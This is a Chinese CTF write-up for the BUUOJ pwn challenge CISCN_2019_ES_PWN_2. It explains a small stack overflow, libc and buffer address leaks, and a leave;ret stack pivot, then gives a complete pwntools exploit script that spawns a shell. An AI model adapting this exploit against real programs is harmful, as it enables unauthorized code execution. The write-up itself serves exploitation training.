题目来源:BUUOJ 备注:除非过于特殊,查保护不再单独截图。
CISCN_2019_ES_PWN_2
解题思路
题目信息&开启的保护: Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
分析逻辑发现line 6、line 7存在栈溢出,并且发现后门函数
但因为仅能溢出8字节,因此无法布置返回函数的参数,而在没有参数的情况下后门函数是没用的
此时发现line 5对内存空间初始化时仅初始化了0x20个字节,于是调试发现可以leak libc基址和buf地址。
然后我们接下来使用leave;ret;
这个gadget
,然后将EIP劫持到buf地址,第二次向buf写入call _system
的地址和libc中的/bin/sh的地址。
EXP
from pwn import *
import sys
context.log_level='debug'
libc=ELF("/lib32/libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./ciscn_2019_es_2")
payload='A'*(0x20-len('Leak Data->'))+'Leak Data->'
sh.send(payload)
sh.recvuntil('Leak Data->')
Leak_data=sh.recv()
buf_value=u32(Leak_data[8:12])-0x38
log.success("Buf begin addr is :"+str(hex(buf_value)))
libc_addr=u32(Leak_data[16:20])-0x1B03DC
binsh_addr=libc_addr+libc.search('/bin/sh').next()
log.success("Libc base addr is :"+str(hex(libc_addr)))
payload=p32(0x08048559)+p32(binsh_addr)+'A'*0x20+p32(buf_value-4)+p32(0x08048562)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()